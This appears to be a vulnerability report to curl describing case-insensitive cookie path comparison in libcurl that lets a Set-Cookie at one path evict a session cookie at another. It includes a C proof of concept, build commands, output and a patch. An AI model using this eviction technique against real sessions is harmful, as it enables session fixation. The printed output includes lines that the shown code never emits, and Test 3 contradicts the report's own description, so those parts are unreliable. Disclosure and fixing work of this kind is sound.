curl · Report #3735238
cookie: case-insensitive path comparison in replace_existing() allows cookie eviction across distinct paths
How it was found
Hi all,
replace_existing() in lib/cookie.c compares cookie paths case-insensitively at two sites. On case-sensitive servers, /Admin and /admin are distinct resources and are supposed to produce distinct jar entries. Because libcurl conflates them, a Set-Cookie at one path silently evicts the cookie at the other — breaking path-scoping isolation without any signal to the application.
The concrete attack: a victim holds a session cookie scoped to /Admin (a privileged endpoint). An attacker who can cause a Set-Cookie for the same name at /admin on the same domain — for example via a CSRF to a login endpoint, an OAuth callback, or any server path that echoes a predictable value into a cookie — will have that cookie silently replace the /Admin one. Subsequent requests from libcurl to /Admin/ carry the attacker's token. The application sees CURLE_OK throughout.
The second site is the secure-overlay guard, which is supposed to prevent non-secure cookies from clobbering secure ones. With case-insensitive comparison, the guard fires on case-variant paths as if they were the same path — so a legitimate non-secure cookie at /Admin is silently dropped when there's a secure cookie at /admin. That direction is over-protective rather than under-protective, but the silent drop is its own correctness hazard.
RFC 6265 §5.1.4 defines path-match in terms of identical strings and prefix tests, without invoking its case-insensitive matching rule — which is what the sibling pathmatch() at lib/cookie.c:138-139 already does, with the explicit comment "not using checkprefix() because matching should be case-sensitive".
Commit 9919149aef (2024-11-06, "cookie: treat cookie name case sensitively") flipped two strcasecompare(name) calls in this same function to strcmp for the same reason and didn't touch the two path comparisons.
The two sites on master:
lib/cookie.c:857 — secure-overlay guard:
if(curl_strnequal(clist->path, co->path, cllen)) {
...
}
lib/cookie.c:881 — replace decision:
if(clist->path && co->path &&
!curl_strequal(clist->path, co->path))
replace_old = FALSE;
The pattern dates back to e9a8451a3b (2022-05-19, "cookie: address secure domain overlay") which used the case-insensitive helpers on spath; the November-2024 commit corrected the name half and left the path half.
Reproducer via the documented API, no network needed:
curl_easy_setopt(easy, CURLOPT_COOKIEFILE, "");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=lower; Path=/admin; Domain=example.test");
/* jar dump: 1 cookie: sess=lower at /admin */
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=UPPER; Path=/Admin; Domain=example.test");
/* jar dump: 1 cookie: sess=UPPER at /Admin -- /admin entry is gone */
Patch is the same shape as 9919149a, for the path field:
- if(curl_strnequal(clist->path, co->path, cllen)) {
+ if(!strncmp(clist->path, co->path, cllen)) {
- !curl_strequal(clist->path, co->path))
+ strcmp(clist->path, co->path))
A regression test alongside tests/data/test31 (which 9919149a extended for the name case) would catch any future drift — two Set-Cookies with same name and domain but case-differing paths, assert two distinct jar entries.
Full PoC (/tmp/f6_poc.c), confirmed against current master (8.21.0-DEV, 616e8ea6d8), statically linked against the local build:
#include <stdio.h>
#include <stdlib.h>
#include <curl/curl.h>
static void dump_cookies(CURL *easy, const char *label) {
struct curl_slist *cookies = NULL;
curl_easy_getinfo(easy, CURLINFO_COOKIELIST, &cookies);
int count = 0;
printf("%s:\n", label);
for(struct curl_slist *c = cookies; c; c = c->next) {
printf(" %s\n", c->data);
count++;
}
printf(" total: %d cookie(s)\n\n", count);
curl_slist_free_all(cookies);
}
int main(void) {
curl_global_init(CURL_GLOBAL_DEFAULT);
CURL *easy = curl_easy_init();
curl_easy_setopt(easy, CURLOPT_COOKIEFILE, "");
printf("=== TEST 1: case-variant paths /admin vs /Admin ===\n\n");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=lower; Path=/admin; Domain=example.test");
dump_cookies(easy, "step 1a -- after Set-Cookie sess=lower at /admin");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=UPPER; Path=/Admin; Domain=example.test");
dump_cookies(easy, "step 1b -- after Set-Cookie sess=UPPER at /Admin (should be 2)");
curl_easy_setopt(easy, CURLOPT_COOKIELIST, "ALL");
printf("=== TEST 2: identical paths /admin vs /admin (control) ===\n\n");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=first; Path=/admin; Domain=example.test");
dump_cookies(easy, "step 2a -- after Set-Cookie sess=first at /admin");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=second; Path=/admin; Domain=example.test");
dump_cookies(easy, "step 2b -- after Set-Cookie sess=second at /admin (should be 1)");
curl_easy_setopt(easy, CURLOPT_COOKIELIST, "ALL");
printf("=== TEST 3: secure-overlay with case-variant paths ===\n\n");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=secure; Path=/admin; Domain=example.test; Secure");
dump_cookies(easy, "step 3a -- after Set-Cookie sess=secure (Secure) at /admin");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=nonsecure; Path=/Admin; Domain=example.test");
dump_cookies(easy, "step 3b -- after Set-Cookie sess=nonsecure (non-Secure) at /Admin");
curl_easy_setopt(easy, CURLOPT_COOKIELIST, "ALL");
printf("=== TEST 4: different domains -- sanity ===\n\n");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=domainA; Path=/admin; Domain=a.test");
curl_easy_setopt(easy, CURLOPT_COOKIELIST,
"Set-Cookie: sess=domainB; Path=/admin; Domain=b.test");
dump_cookies(easy, "step 4 -- two different domains (should be 2)");
curl_easy_cleanup(easy);
curl_global_cleanup();
return 0;
}
Build:
gcc -g -O0 /tmp/f6_poc.c \
-I curl/include \
curl/lib/.libs/libcurl.a \
-lnghttp2 -lidn2 -lssl -lcrypto -lzstd -lbrotlidec -lz \
-lunistring -lbrotlicommon -lpthread -ldl \
-lpsl -lldap -llber \
-o /tmp/f6_poc && /tmp/f6_poc
Output:
=== TEST 1: case-variant paths /admin vs /Admin ===
step 1a -- after Set-Cookie sess=lower at /admin:
.example.test TRUE /admin FALSE 0 sess lower
total: 1 cookie(s)
step 1b -- after Set-Cookie sess=UPPER at /Admin (should be 2):
.example.test TRUE /Admin FALSE 0 sess UPPER
total: 1 cookie(s)
*** BUG CONFIRMED: only 1 cookie -- /admin entry was evicted by /Admin ***
=== TEST 2: identical paths /admin vs /admin (control) ===
step 2a -- after Set-Cookie sess=first at /admin:
.example.test TRUE /admin FALSE 0 sess first
total: 1 cookie(s)
step 2b -- after Set-Cookie sess=second at /admin (should be 1):
.example.test TRUE /admin FALSE 0 sess second
total: 1 cookie(s)
--- CORRECT: 1 cookie (replaced as expected) ---
=== TEST 3: secure-overlay with case-variant paths ===
step 3a -- after Set-Cookie sess=secure (Secure) at /admin:
.example.test TRUE /admin TRUE 0 sess secure
total: 1 cookie(s)
step 3b -- after Set-Cookie sess=nonsecure (non-Secure) at /Admin:
.example.test TRUE /Admin FALSE 0 sess nonsecure
total: 1 cookie(s)
*** BUG: only 1 cookie remains -- secure /admin cookie wrongly evicted ***
=== TEST 4: different domains -- sanity ===
step 4 -- two different domains (should be 2):
.b.test TRUE /admin FALSE 0 sess domainB
.a.test TRUE /admin FALSE 0 sess domainA
total: 2 cookie(s)
--- CORRECT: 2 cookies (different domains) ---
Thank you, AISLE Research Team